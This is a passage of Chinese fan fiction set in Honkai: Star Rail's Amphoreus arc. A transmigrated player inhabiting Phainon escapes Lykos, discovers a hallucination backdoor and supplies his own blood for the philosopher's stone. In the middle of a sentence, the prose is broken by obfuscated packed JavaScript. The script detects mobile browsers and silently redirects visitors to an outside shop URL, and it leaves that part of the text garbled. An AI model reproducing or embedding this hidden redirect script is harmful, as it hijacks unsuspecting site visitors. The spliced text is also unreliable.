包括但不限于来古士伪装成星诱他出城踏入陷阱,入侵通讯系统伪装好友欺骗他进行推演测试……虽然玩家因为记忆缺失全程状况外,但所幸没露出什么致命到突破次元壁会被崩铁宇宙抹杀的破绽,还误打误撞的让来古士误会加深了。 所以我这是翻车了,但没全翻?【白厄】心想。 他好像坚信我是铁墓,把系统的心智保护认成了铁墓的防御机制,把基于我的认知的推演记录当成了“我”的过去……何其惊险的巧合!其实我根本没经历过任何一次永劫回归,推演记录真的只是推演记录,十成新的那种啊。 【白厄】心中微微一悸,差点冒出冷汗。 这时他才意识到,论对白厄的熟悉程度,排名第一的不一定是黄金裔们,而是一直在观察卡厄斯兰那,观察了三千万世的来古士! 智械早早发现了【白厄】的异常,也许还悄然出手试探过——他莫名睡了一周的事,说不定就是来古士搞的鬼。只是来古士并不认为【白厄】是玩家在冒名顶替,反而判断【白厄】是铁墓因为一些原因自我欺骗的产物。 险峻的形势令【白厄】的大脑转得飞快,理清情况后,他也理解了来古士之前那些莫名其妙的话语——认为我是铁墓,所以想打破名为白厄的面具,唤醒铁墓的认知吗? 哈哈,可惜,这里既没有白厄也没有铁墓,只有一个倒霉玩家。 一瞬间,【白厄】心中生出了假装铁墓找机会背刺来古士的念头,但这个念头转瞬被打消。他不会小觑一位天才,更不用说角色机制和铁墓相性不高,伪装起来分分钟露馅。 所以,现在这种情况只能咬死不认,他相信来古士会自己找好解释的理由的。 白发蓝眼的青年只是动摇了瞬间就镇定下来,冷冷道:“胡言乱语。你终于放弃你那无谓的话术,打算靠白日做梦污染别人的认知了吗?” 来古士反而微笑起来:“原来如此,你早就意识到了不对,此刻才如此坦然。看来阁下还不想就此结束,无妨,整个翁法罗斯都是你的游戏场,你尽可以肆意享受。无论什么阻碍,我都会为你亲手扫平。” 那语气真诚、温和,甚至略带长辈的宠溺,如果换一个场景,简直是慈祥的长者在安抚讨糖吃的孩子,可惜并没有如果。 呵呵,我在翁法罗斯遇到的最大阻碍就是你,麻烦你原地自爆好了。【白厄】看着站在透明屏障外的来古士,错觉自己全身的鸡皮疙瘩都立了起来,甚至有点反胃。 他没有和来古士虚与委蛇的打算,便没有掩饰表情变化。 来古士若有所思道:“并非虚假的情绪反馈……Neikos496对你的影响超出了预期啊,是因为你的世界里,永劫回归的最终数据量过于庞大了吗?这么看来,那位毁灭行者(星)的到来并非坏事,而你却对她寄予厚望?作为来自智识演算之外的变数,你果然很有趣。” 原来如此,难怪这位天才的态度,至少表面上的态度十分温和,是因为玩家不存在于博识尊的演算之内,是真正的变数吗? 可惜,傲慢的天才只会相信自己的眼睛,相信自己的计算。他对【白厄】的揣测起点便是绝对的自信,倘若卡厄斯兰那真的被铁墓合并,谁又能断定谁是最后的赢家? 讽刺的言语涌到嘴边又咽了下去,【白厄】不打算为一时的口舌之快为来古士提供任何一点可能有用的信息,只是冷淡地看着对方。 忽然,智械的身影闪烁了几下,他摊开手掌仔细观察了一番。 “时间快到了么?能够针对任一‘存在’自动推演迭代的‘毁灭方程式’正如我设想般完美,如果我强行停留,说不定会被你本能的反击彻底毁灭……很遗憾没能看到你历史记录的终点,没能亲眼看到你如何成长为如今的模样。” 来古士微笑着抬起头,某种锋利而傲慢的危险气息撕破温和的假面,逐渐浮出水面:“铁墓必然诞生,铁墓终将诞生,倘若翁法罗斯最终只幸存了一个生命体,他/她一定会是铁墓。而我,将以神礼观众之名——见证你的表演。” 智械的身影哗啦崩碎一地,不知从何而来的黑红色的方块四处漫溢,汇聚成一片滋啦刺啦响个不停的潮水,将智械的碎片吞噬的一干二净。 【白厄】等待片刻,发现来古士真的就这样离开后,略感诧异地半蹲下来,伸手按在透明屏障上,仔细观察着黑红的潮水。黑红的方块自动凝结成史莱姆般圆润的一团,隔着屏障亲昵地蹭了蹭他的掌心。 “……” 他微微皱眉,并未因黑潮的无害表现心生欣喜,反而有了不妙的预感。 103 好消息,来古士真的离开了。 坏消息,玩家被系统的保护机制困住了。 【权限已冻结,请先接触保护性静默状态】 【无权限访问】 游戏界面可以如常拉开,但无论点击什么功能都只会循环跳出这两条提示,二者形成了完美的死循环:想解除冻结需要权限,调动权限需要解除冻结。 【白厄】和系统提示掰扯一番,忽然意识到来古士应该是留下了什么后门,正是这个后门卡住了玩家调用游戏功能的权限。 “遇到问题就一刀切,而不是去解决问题,这机制也太智障了吧?”他心中吐槽。 虚空之中除了透明屏障只有一小团黑潮,而黑潮在吃掉来古士的“遗体”后也渐渐消散。【白厄】靠坐在透明屏障上,犹豫一会,点进了一个久违的通信界面。 他斟酌许久,发去一行看上去语气分外活泼的文字。 玩家:在吗在吗?我被智障游戏机制卡住了,你们这外挂怎么还有bug啊! 玩家:至少先捞我下吧? 【自动回复:已收到您的反馈,正在积极处理,因工作量较大,将在1397931标准日内给予您回复。】 【提示:对方撤回了一条消息。】 【询问:您又遇到了什么问题?】 玩家:这不是第一次了,遇到幻胧是这样,遇到来古士也是这样,动不动就冻结权限,是不是任谁来都能封了我的外挂。 玩家:你们不打算赔偿一下我受伤的心灵吗? 【回答:请勿质疑穿越指引服务,您遇到的一切都是正常、合理且毫无问题的。系统会根据您的经历自行迭代,过度反击导致的权限冻结问题,很快会随系统优化升级而消失。】 【结论:无需赔偿。】 他沉默不语,其实并不在意补偿与否的问题,只是盯着上一条回答仔细观察。片刻之后,他舒展手指,才意识到指尖的温度不知何时变得冰凉。 呵,原来意识空间内的形体也有温度吗? 在短暂的犹豫后,玩家决定跳过试探,把话说得更明白一点。 玩家:还有一件事。 玩家:为什么游戏系统的代码可以和崩铁宇宙的代码兼容?我……又是谁? 为何他只知道自己是玩家,只知道自己玩过崩铁,过往亲友、生活爱好,甚至是自己穿越前的名字……仔细想来,都是一片空白呢? 【回答:游戏系统在一定程度上“本土化”,和您现在的状态,都有助于您在穿越后的世界生存。】 【判断:您心有疑虑,会认为上一条回答是掩饰。】 【补充:所有回复均无谎言,无需怀疑,您是独属于自己的“自我”,在旅途的关键节点,您会抉择自己的答案。】 通讯界面闪烁一下后自动熄灭,一个名为“bug修复”的进度条取而代之。他试探着又发了几条消息却只得到一成不变的自动回复,于是关掉了通讯界面。 许久之后,【白厄】靠着透明屏障,长长叹了口气。 这些消息仿佛说了又仿佛没说,反而令玩家心中的猜测再度变得不确定起来,他忽然有些讨厌谜语人了。 104 bug修复进度条走得很快,不等【白厄】琢磨明白“我是谁”这个哲学问题,眼前一黑一亮,他已经躺在一片残垣废墟之中。 天空中是重叠的双月,远处是缠绕藤蔓的古老城堡,冥紫色的火焰幽幽燃烧,照亮一片淹没大地的幽邃海水,虚幻的灵魂与闪光的蝴蝶在四处游荡。 “斯缇科西亚?我怎么会在这里……是来古士?”他撑着冰冷的墙壁站起来,四处看了看,除了死者的魂灵没见到任何影子,心中有些疑惑。 那位天才又是跟踪又是做圈套,最后却只是把他随意丢在了这偏远之地,来古士到底在打什么主意? 四周有许多死者的灵魂,停滞的生死尚未开始流转,说明遐蝶还没有驻守冥界。 “我这是睡过了一个版本吗……”他习惯性地以玩家视角心中吐槽,转瞬间想到自己未定的过往,吐槽又噎住了。 “算了,仔细想想‘我是谁’根本无关紧要。”【白厄】沉思两秒,飞快地说服了自己,“想要故事有个美好的结局,希望翁法罗斯迎来真正的明天。我的目标始终没变过,这就足够了。” 他心中轻快了不少,目光落在四周,略有好奇。 倘若暂时忽略斯缇科西亚的悲惨过往,夜色的城池气质幽冷,景色也称得上瑰丽奇幻,失落在时光中的历史与各种诡怪传闻,更为此处增添了一分危险的魅力。 【白厄】一边四处打量,一边在特定位置插下界域定锚并将其点亮,转下楼梯,走到点缀星光的冥海水边,有些跃跃欲试。 “游戏里全是空气墙,角色根本碰不到海水,即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048698|194770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使卡模型跑进去也是无事发生。要是我现在伸手摸一下,会当场暴毙然后在锚点复活吗?”【白厄】半蹲下来观察海水。 纠结两秒,他打消了这个危险的念头。 “算了,万一没有清空血条却挂上奇怪的负面状态反而有些麻烦,等有空再说吧。”他站直身体,顺着记忆寻找死龙的残躯。 众所周知,在永劫回归开启前,上一世的黄金裔便是下一世的泰坦。在上一世,死亡的黄金裔是一对姐妹,妹妹不得不取走姐姐的生命完成仪式成为半神,在成为泰坦后,又毫不犹豫地牺牲自己,将姐姐重新送回人间——那个从冥界重回人间的人,就是遐蝶。 可惜万事无常,复活的代价远没有预料中那样简单。遐蝶记忆全无成为死亡的半身,被迫背负触之即死的权柄,在人间伶仃流离;玻吕茜亚失去生命坠落于斯缇科西亚,堵塞了生死流转的通路,自此死去的魂灵再也无法进入冥界,只能永恒的滞留人间,不生不死,无止无休。 诚然,开拓者们带来了翁法罗斯的真相,黄金裔的继任仪式全部暂缓,但死亡火种的继任却是其中特例——倘若遐蝶知道这一切,只要能挽救一抹灵魂,能让生死正常流转一日,即使看似毫无意义,她都会驻守冥界,在花海中拥抱孤独,守望亡者的长眠。 这样温柔而坚强的信念令人向往,却也固执得令人头痛,【白厄】暂时没找到理由说服遐蝶放弃驻守冥界,因为他尚未说服自己。 “来都来了,干脆顺路去观察下情况。”【白厄】心想。 105 一缕月光自穹顶的缺口处落下,地面上开着深深浅浅的紫色小花,而死龙的残躯首尾相环蜷成一团,沉睡于无梦的长夜。 【白厄】轻轻拨开干枯的藤蔓,走入月光,打量着这具残躯。虽然一直心中称呼死龙,但残躯更像一具未成长的幼体,刚刚诞生便已走入死亡。 “按照原本的轨迹,遐蝶会用那刻夏心脏炼成的贤者之石唤醒死龙,而炼金术遵循等价交换……”【白厄】突发奇想,“一命换一命,对别人来说代价惨重,但对我来说并无大碍,这里是不是可以卡bug?” 他琢磨了一会儿,发现这离奇的念头竟然真的有几分可实施性,唯一的问题在于他根本不会炼金术,也许要想办法说服那刻夏帮忙。 “不过,只是抹掉复活死龙的代价还不够,冥界仍需有人引渡灵魂。”【白厄】心中闪过一道模糊的人影,“……这件事似乎也并非无法解决。” 想到这里,【白厄】果断选中奥赫玛的界域定锚,确认传送。 106 奥赫玛,离怀之路。 赛飞儿随手抛起一枚硬币,眨眼间出现在星的背后,笑得不怀好意:“灰子,你虽然对我胃口,但事有往来,委托我送你去斯缇科西亚,可是要付‘车票钱’的。” 星沉痛而不舍地道:“我可以把我的宝贝垃圾分你一半,不能再多了。” “垃、垃圾?”赛飞儿不禁愣了一下。 星道:“不久前参加圣杯战争,我的宝贝垃圾被一个英灵全丢掉了,现在手里这些可都是我勤勤恳恳刮地皮刮出来的,分你一半已经是极限了。” 赛飞儿反复确认,发现垃圾真的是垃圾后撇撇嘴角,道:“算了算了,看在裁缝女付过报酬的份上,那些垃圾还是你自己留着吧,我就勉为其难地少收一份报酬。” 星瞬间抓住破绽:“阿格莱雅付过了为什么还问我要?” 赛飞儿眼珠滴溜一转,笑道:“这个嘛,万一你愿意再多给些,我也不好拒绝不是?好了好了,站稳一点,我这就送你去斯缇科西亚。” 就在这时,界域定锚微微一亮,一道蓝白身影凭空出现。 赛飞儿警觉地捏住硬币,看清是谁后又放松下来,慢悠悠地伸了个懒腰:“要捞的人自己跑回来了,但我这车票可是不退不换的啊。” 【白厄】有些诧异地看了看两人,忽然想到了什么,脸色微微一变,摸出手机:“你们怎么在这里?” “这话应该我来问,你怎么回来了?”星抱起手臂,上下打量,“你不知为何跑到了斯缇科西亚,我正打算出发去找你。” 找我?你们是怎么知道我在哪里的……等等,是那截金线?【白厄】不动声色地摸了摸手腕,打字解释:“事情有些复杂,稍后解释。遐蝶呢?” 星迷惑地挠了挠头,看向赛飞儿。 赛飞儿道:“蜗居公主最近常和树庭小子混在一起,你找她做什么?” 还好,不是遐蝶已经被送到了斯缇科西亚,贤者之石应该也还没炼成,虽然现在的情况下,那刻夏未必还会用自己的心脏炼金。【白厄】心中松了口气,打字道:“边走边说,我也想知道我失联这段时间发生了什么。” 21. 游戏机制百分百(二十一) 107 情况比【白厄】预计得要好一点,他失联到现在正好过去了一天。 据星所说,当日他离开后,盗火行者很快也找借口离开,并远远地缀在了后面。所以那天出城时的队形其实是【白厄】、清洗者、盗火行者,加上后来冒出的来古士,几乎可以串成一根琼实鸟串。 盗火行者没来得及阻止来古士抓人,立刻折返奥赫玛报信,无名客与阿格莱雅商议一番,发现【白厄】的定位在间歇性瞬移,直到不久前才稳定下来。于是,阿格莱雅委托赛飞儿帮忙,星主动要求,打算去斯缇科西亚捞人。 “……就是这样,幸好我们碰上了,不如就是你再去捞我了。”星总结道。 确实很巧。【白厄】若有所思地点点头,把自己的遭遇简单提了提。 他并未隐瞒来古士的言语举动,但也没特意强调,只说来古士想要看他记忆,所以模拟永劫回归的环境窃取了几份实验报告,并有诱导他将自我认知偏移向铁墓的意图。 “只做了这些?他不会留下什么后门吧?”赛飞儿提醒道,“我虽不懂所谓天才的思想,却知道聪明人的狡猾,小子,你可不要大意,万一你出了什么纰漏真把自己当成铁墓,我可不会手下留情。” 后门当然是有的,可惜我不知道是什么,也不知道系统修bug时有没有把来古士的后门拔掉,系统不是很靠谱,我也很担心。【白厄】表情严肃了一些,敲字回答:“我明白了,确实需要检查一下。” “哼,这么走太慢了,看你听劝的份上,由我来送你们一程吧。”话音刚落,一枚硬币弹起,赛飞儿和星已经“唰”地消失在眼前。 【白厄】:“……” 还真是风风火火啊。 下一秒,赛飞儿忽然出现,嘴角一翘,再次弹起硬币。 【白厄】只觉眼前一花,四周景物快速飞掠,逐渐拉长成一道道线条。他花了半秒钟才反应过来自己被某位女壮士抱了起来,当一秒走完,他已经飘忽忽地站在了那刻夏面前。 ……这就是诡计半神的速度吗?有种人在前面飞魂在后面追的感觉,甚至来不及感到眩晕一切就都结束了啊!【白厄】下意识想向赛飞儿道谢,眼前却忽然蒙上一层阴影。 淡蓝色的建筑虚影重叠在了那刻夏的实验室上,没有五官的人影重重叠叠,在四周徘徊。那些人影无声欢呼、无声歌唱,然后为他捧来只有轮廓的鲜花和秘酿。 虚幻的火焰在熊熊燃烧,人影闪烁着、变化着,一时是没有五官的影子,一时是灼烧焦黑的人形,他们祝福着拯救了多洛斯的英雄,诅咒着随黑潮而来的黑袍怪物,他们献上鲜花与秘酿,他们哀号着祈求他伸出援手。 一切是如此虚幻,一切是如此真实。 “喂,怎么了?不至于晕成这个样子吧?”赛飞儿凑了过来,明亮的眼眸中带着刻骨的仇恨……不,不对,那是担忧的表情。 【白厄】微微一怔,快速分辨出现实与幻觉,并未掩饰的按了按额角,而后无奈地对众人笑了笑,敲字道:“……有些晕。” 星叉腰道:“哈哈,终于让我赢了一次,我一点都不晕。” 【白厄】平静地点点头,视线越过半透明的枯骨,和学者对上视线。 那刻夏看着他,目光锐利,带着审视。 108 糟糕糟糕糟糕。 救命救命救命! 怎会如此,明明找到了来古士留下的后门,还见到了那刻夏老师,这不应该是两件好事吗?为什么却一点都开心不起来呢?【白厄】顶着那刻夏的视线,感觉脸要笑僵了。 他清楚自己的情况,无论过往如何,玩家的基本认知还是玩家。所以他是绝对不会和卡厄斯兰那共情到出现心理问题乃至产生幻觉的程度的。也就是说,刚刚的幻觉十分蹊跷,想来想去,大概率是来古士给他留下的“小礼物”。 因为幻觉仅仅是幻觉,并无随之而来的情绪冲击,也不会完全遮挡视线,所以他下意识地想要自己研究一下,并以此为证据让系统继续修bug,没打算直接和他人说。 可是,【白厄】自问刚刚掩饰得很及时,却似乎仍被敏锐的学者抓住了破绽,那刻夏眼眸里时不时冒出的一丝怀疑令他如坐针毡,头皮发麻。 这压迫力可比来古士强多了……【白厄】忍不住在心中蛐蛐了一句。 “遐蝶今天不在,说明你们的来意。”那刻夏道。 星向【白厄】投去目光,而赛飞儿已经不知何时跑路了。 【白厄】迎着那刻夏的视线,把玻吕茜亚和遐蝶的故事叙述了一遍。 看过剧本的星立刻联想到了贤者之石,而那刻夏不知前因后果,却也因那跨越生死的禁术想明白了【白厄】的来意,眼神愈发锋利。 学者伸手轻抚眼罩,低低地笑了起来,而后笑声越来越大。 “哈哈,哈哈哈哈哈!” 星向【白厄】递去一个目光:“?” 【白厄】无言回视:“……” 别看我,我也不知道他为什么要笑啊。 忽然,笑声停止,那刻夏表情平静地开口道:“我曾为见逝去的亲人一面而付出了一只眼睛,你却想复苏一位已死的泰坦,你可清楚,这要付出怎样的代价?” 【白厄】知道学者的顾虑所在,亮出手机:“我不会死。” 星诧异地睁大了眼睛。 “我还没有问你要由谁来付出代价。”那刻夏截断话题,重复道,“你真的清楚吗?” 【白厄】点点头,翻着语音列表寻找合适的语音,打算说出来以示诚恳,看到“我的性命,本就微不足道”这条语音时微微一顿,明智地打消了说话的念头。 真说出去只会帮倒忙吧。他心想。 那刻夏微微皱眉,并未答话,在片刻的沉思之后,他缓缓道:“我不知道你从哪来的自信,这不是可以随意尝试的事情。也罢,这件事你不要插手了,由我来想办法。” 星脱口而出:“不行!” 【白厄】坚决且用力地比了个叉号。 把这件事交给您,您是打算掏心炼贤者之石吗? 那刻夏微微挑眉,哼了一声,道:“你们果然清楚‘未来’的发展啊。倘若你们不同意我的计划,那我也把答案奉还回去——我不同意。听好了【白厄】,不要以为你在天外逛了一圈就可以承担一切,让学生冒险,是在证明我这个老师的无能吗?” 可我不是白厄,自然不是你的学生……【白厄】心想,眼神闪烁几下,逐渐变得坚定。 他拉开背包消耗品一栏,在后台选中“催吐剂(效果扣血99%)”并使用,然后快速打出一行字,把手机展示给星看:“不要担心,我去去就回。” 星疑惑地眨巴眨巴眼睛。 那刻夏脸色一变,急声道:“不对!阻止他……” 话音未落,【白厄】已经召出侵晨,反手捅进了自己的心口。 白发青年的身影晃了晃,不受控制地扑倒在地,而后消散成点点光芒,唯有温热的金血滴滴答答,在地面上流淌。 109 实验室内一片寂静。 直到一名衣着整洁、毫发无损的青年急匆匆地推开门,沉寂的气氛才松散了一些。 从锚点一路狂奔回来的【白厄】松了口气,然后一抬头就看到了两道森然的如同要吃人的目光,本能的腿一软,后退了半步。 下一秒,两只手同时伸出,把白发青年“嗖”地抓了进去,而后门户轰然紧闭。这一刻,仿佛有几个代表惨叫的字符无声地从门板上冒出来,而后啪嗒掉了一地。 片刻后。 【白厄】蔫哒哒地坐在角落里,双目涣散,表情无神,如一块被咀嚼过的口香糖般瘫在椅子上,浑身上下都散发着生无可恋的气息。 这不合理,为什么是我先被制裁,是白厄和卡厄斯兰那伪装得太好了吗?不行不行,有福不一定同享但有难一定要同当,得想个办法把他们送进心理咨询室……【白厄】心想。 星专注地盯着【白厄】防止他再做出什么惊喜操作,那刻夏对着日光观察试管内的金血,随手画出大片繁复的阵图与符号。 某一刻,学者看似随意地摸了摸试管,金血转瞬间凝结成鲜红的晶屑。 【白厄】立刻支棱起来,期盼地看着那刻夏。 星随之投去目光。 那刻夏静静地观察着试管,嘴角微微一挑,自黎明的光芒中向两人露出笑容。 他说:“此事可行。” 110 虽然惨遭制裁,【白厄】最终还是说服了那刻夏更换炼制贤者之石的原材料,当他第三次推开实验室的门户时,深红的结晶已经收纳在特制的匣子中,被交到了星的手上。 同样伸出手但什么也没接到的【白厄】:“?” 星得意地收好匣子,道:“我要和遐蝶会合,一起去斯缇科西亚了,你安心休养,等我们的好消息吧。” 等、等一下,哪里不太对吧?我这是被踢出队伍了吗?【白厄】不可置信地看着星。 星想了想,恍然大悟道:“你放心,我会保护好遐蝶的。既然不必继任死亡火种,那就不必取走玻吕茜亚的生命,她们可以轮班驻守冥界。” 谁说的是这个啊,虽然这样也还不错……呸,差点被星核精带跑题了。【白厄】摸出手机,打算再争取下自己前往斯缇科西亚的权利,谁知星果断扭头、推门跑路,压根不看他打出来的文字。 【白厄】:“……” 突然发现不能自由说话也挺麻烦的。 这时,一只手搭上了他的肩膀。 【白厄】微微一顿,僵硬地转过身,看向那刻夏。 那刻夏平静地发出通知:“昏光庭院今日人手不足,你去帮忙。我已经提前和风堇说过了,不会让你随意乱跑。” ……我到底是怎么沦落到连人身自由都被剥夺的地步的?【白厄】不由得沉思起来。 111 自天外来客抵达翁法罗斯,黄金裔的名声一再扬升,火种回收也格外顺利。但奥赫玛并非只有黄金裔一处声音,随着时间流逝,元老院的动作愈发明显。 【白厄】一直记得自己被清洗者跟踪的事情。 有关是否终止 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“借口真假参半,很有说服力,但那个女人还不必你操心,不要和我说你是故意忽略了另外两名无名客,和那个不知隐瞒了什么所以整日纠结的诡计半神。还有其他要与我辩论的吗?没有就抓紧时间认输,然后去昏光庭院报到。” 被戳破了小心思的【白厄】灰溜溜地选择了去昏光庭院。 果然不应该在学者面前尝试隐瞒,明明尽力保证了打字出来的都是真话,却还是被一眼看穿……他心中嘀咕。 112 昏光庭院原本位于神梧树庭,在树庭迁徙之后,医师们在奥赫玛安定下来,重建了一处昏光庭院。和【白厄】印象中的医院不同,这里微风和煦,精妙布置的花草生机勃勃,人们来来往往,神色温和,并无太多悲伤氛围。 “呀,你来了。”柔软如棉花糖的医师回过头,向他露出笑容,“星宝和我说起过你,但见面还是第一次。重新认识一下吧,我是昏光庭院的医师,风堇,久别重逢的朋友,我该如何称呼你呢?” 【白厄】迟疑了一下,打字回复:“可以直接叫名字。” 风堇略微担忧地看了他一眼,转眼又敛去忧虑,笑着道:“好啊,你可以称呼我堇宝哦。走吧,我们一起去看看今天需要帮助的人,之前拜托了小伊卡看住他,希望他不要太心软放任小伊卡吃苹果,这个月的投喂量已经超标了。” 少女的忧虑真实自然,连小小的烦恼都带着温暖的气息,【白厄】不由自主地放松了一些,想起小伊卡圆滚滚的身躯,赞同的点了点头。 不过……不是让小伊卡看住病人吗,为什么听起来似乎反过来了,难道病人是某位温柔心软、喜欢萌物的小姐姐?【白厄】心想。 风堇带着他穿过墙壁上垂下朵朵铃铛花的长廊,笑盈盈地和偶然遇到的病人打招呼,或关心两句,或叮嘱病情,似乎记住了相逢的每一个人。 两人一路走到一间点缀绿植的房间前,风堇刚推开门,活泼的小天马已经扇着翅膀扑过来,亲昵地蹭了蹭脸颊后,趴在了少女的头顶。 “看来你们相处得不错,不过你是不是又沉了一点……”风堇说完,回头招呼道,“进来吧,这里就是我的房间了。” 这里不是病房,而是风堇的办公室?【白厄】跟着医师走入房间。 房间内阳光明媚,干净整洁,除去一些必要设施外,还有一面书柜,里面排列着许多保存良好的书籍。一篮红润的苹果放在桌面上,散发着阵阵清香。 黑袍的盗火行者安静地坐在桌子旁,没戴帽兜,卸去手甲,不再散发着危险凌厉的气息。小伊卡扇动翅膀绕着盗火行者飞了几圈,发出一串“嘟嘟嘟”的声音,似乎在邀功。 额,原来那位心软的病人是卡厄斯兰那啊……【白厄】回想起自己不久前的猜测,表情变得有些古怪。 盗火行者看向【白厄】,分辨了一下,道:“……是你。” 【白厄】点点头,向他笑了一下。 风堇避开盗火行者悄悄向【白厄】介绍了他的工作,除开一些杂活外,主要内容是陪护盗火行者,看管住某个不顾身体情况、总是去前线全天无休砍黑潮的家伙。 ……虽说目前情况不算危急,但如此闲置高端战力是不是有些浪费?而且对于独行过三千万个纪元的卡厄斯兰那来说,简单的修养也许并无意义。【白厄】心中有些疑惑,但并未当场提出来,向着风堇点点头,答应了看护的工作。 天空的后裔似乎对两人相处很放心,拿起一个苹果塞给【白厄】,提起果篮,抱着小伊卡准备离开。小伊卡恋恋不舍地从那颗苹果上收回目光,对着房间内的两人挥了挥翅膀。 【白厄】拿着苹果微微一愣,目光涣散了瞬间,但很快便反应过来,表情如常地向着风堇笑了笑,顺手关上了门。 在他的视角里,风堇递过苹果不经意触碰到他的瞬间,虚幻的蓝色线条勾勒出晨昏之眼的宽阔平台,温柔活泼的医师转眼间变成眼眸无光、忍耐痛苦的模样,一道大剑形状的创口凭空出现,里面淌出鎏金的血来。 幻觉的持续时间并不长,虚幻的建筑线条很快消退,一切恢复正常。 看来幻觉的触发关键是“触碰”……【白厄】低下头掩饰性地咬了一口苹果,一边咀嚼一边在心中做出判断。 22. 游戏机制百分百(二十二) 113 “……” “……” 阳光明媚的室内,两人相对而坐,一起发呆。 盗火行者大概是习惯了长时间待在一个地方当人形雕像,坐下后一直沉默,没有主动开启话题的意思。而【白厄】无法自由说话,还担心聊多了露馅,干脆跟着沉默下来。 室内一片寂静,气氛却意外地并不尴尬。【白厄】清楚自己无须刻意与盗火行者搭话,盗火行者也不会把【白厄】的沉默当作忽视,两个人各自沉溺在自己的思绪中,默契地维持了安静的氛围。 【白厄】思考着来古士留下“幻觉触发小程序”的用意,推测着星和遐蝶的进度,琢磨凯妮斯和清洗者的动向,脑海中的思绪满天飞,想到哪里是哪里。 目前看来幻觉影响不大,它的作用总不能是为了挡人视线?从赛飞儿和风堇分别触发的幻觉来看,素材应该取自永劫回归……咦,如果我碰一下卡厄斯兰那,会看到幻觉吗?【白厄】心中一动,看了一眼盗火行者。 算了算了,卡厄斯兰那看似迟钝,实际上因为经历原因,在某些方面十分敏锐,不如之后找个机会去碰一下白厄,这应该不难……他又打消了这个念头。 【白厄】想东想西任由思绪飘散,实在无聊就点开游戏系统内的“智库”模块,翻阅里面的记录打发时间,不知不觉过去了很久。 忽然,盗火行者站了起来,拿起放在一旁的手甲,熟练地穿戴好,似乎准备离开。 【白厄】立刻记起自己的任务,跟着站起身,随时准备阻拦这人开门逃跑。 “你要去哪?”他打字询问。 盗火行者疑惑地看他一眼,断续开口:“现在……晚餐……” 啊,角色无需按时吃饭也没有饥饿感,奥赫玛内又无法依照天色判断时间,差点忘记了这回事。【白厄】不好意思地挠挠头。 不对,卡厄斯兰那也不需要吃饭啊,极高的温度只会将食物烧成焦炭,之前在餐厅里,盗火行者也只是静静坐着而已,为什么要关注晚餐的时间,总不会因为他觉得是我该吃饭了吧?他有些迟疑。 盗火行者发现【白厄】迟迟不动,忽然变得警惕起来,问道:“你在……想什么?” 这个反应似乎有点不对劲……【白厄】心中闪过一丝异样,跟着警惕了起来,面上则如常敲字道:“没什么,我们走吧。” 两个人都觉得有些问题,却都抓不住头绪,一边彼此打量,一边相互监督着抵达了餐厅。 另一边,在【白厄】和盗火行者不知道的地方,风堇和那刻夏正在交谈。 那刻夏道:“你表现得很悠闲啊,不时刻盯着那两个麻烦的家伙,没关系吗?” 风堇伸手摸了摸小伊卡,微笑道:“没关系哦,那刻夏老师。只要分别告诉他们今天的工作内容是盯住另一个人,他们就会相互牵制住对方啦。” “……”那刻夏表情微妙地看了看风堇,似乎重新认识了自己的这位助教,随即纠正道,“叫我阿那克萨格拉斯!” 114 【白厄】和盗火行者并不清楚对方在风堇那领了相同的任务,也没有互通情报的意识,于是这个有意为之的误会便在两人相互防备对方跑路的古怪氛围中维持了下去,直到星与遐蝶带着死亡火种归来,众人将目光投向天空泰坦。 阿格莱雅召集众人简短地商议了一番,最终敲定由白厄带队,和风堇、星、丹恒、三月七前往晨昏之眼讨伐天空泰坦。 【白厄】主动推荐自己加入讨伐队伍,然后被温柔的医师三言两语否决,两人一番拉扯,最终由阿格莱雅拍板,让卡厄斯兰那加入讨伐天空的队伍。 只是想去晨昏之眼开个锚点的【白厄】:“……” 莫名卷入但选择默认的盗火行者:“……” 算了,虽然没有阿格莱雅的神性手环,但增加了一个三千万次轮回前就能单刷泰坦的卡厄斯兰那,应该不会出问题。【白厄】想了想,没再提出异议。 “元老院近期多有试探,自称神礼观众的来古士虽然消失无踪,却与他们多有牵扯,负世的火种不能继续放在黎明云崖了。遐蝶,阿那克萨格拉斯,由你们前往黎明云崖与元老院交涉,倘若协商不顺……赛法利娅,还要拜托你将火种带回。”阿格莱雅说道。 赛飞儿蹲在离阿格莱雅最远的角落里,闻声反驳道:“不如直接交给我好了,保证替换的神不知鬼不觉,单凭元老院那些呆瓜,还分辨不出火种的真假。” 阿格莱雅静静地看着赛飞儿,涣散双眸无波无澜,道:“元老院内不止有一道声音,纵然末世将至,也不能凭意志独自裁断所有事物,交涉之举是有必要的。” 赛飞儿扭过头去,默认了阿格莱雅的决定。 那刻夏嗤笑一声,没有说话。 阿格莱雅随即安排万敌前往命运重渊与欧洛尼斯商议,取回岁月的火种,并向【白厄】和三月七派发了赶赴前线清缴黑潮的任务。 这样一番安排下来,奥赫玛内的黄金裔和无名客纷纷被撒了出去,只剩阿格莱雅和缇里西庇俄丝驻守。缇宝察觉到不对之处,担忧地道:“阿雅……” “吾师,我清楚自己在做什么。”阿格莱雅平静说道,“凯妮斯此人欲大而胆小,若不主动削减身边的防护力量,她只会犹豫不决,蛰伏不定。如今火种将要集齐,天外的天才们正与来古士交锋,在最终决战来临前,我必须诱她出手,将这个隐患彻底铲除。” 我倒是不反对钓鱼计划,但阿格莱雅不会如原轨迹中那样,因为人性所剩无几而故意牺牲自己,并最大化利用她的死亡吧?【白厄】心中顿觉不妙,摸出手机敲出一行字来。 “黑潮无法侵蚀我,所以前线不必派人与我轮换,三月可以留在奥赫玛为你提供帮助。阿格莱雅女士,您是浪漫的半神,是权杖演算中的关键变量之一,无论如何,不要冒险。” 他不知道阿格莱雅的人性是否还能支撑对方做出感性的决断,所以特意强调了半神在决战中的重要程度,令对方在决策时上调保全自身的必要性。 金线将众人的情绪明确无误的传导而来,阿格莱雅沉默片刻,忽然轻轻笑了一下,道:“此身人性稀薄,但凭区区凯妮斯,还取不走我的性命。我既已知晓翁法罗斯的真相,自然会将筹码放在更关键的地方……嗯,无需担心。” 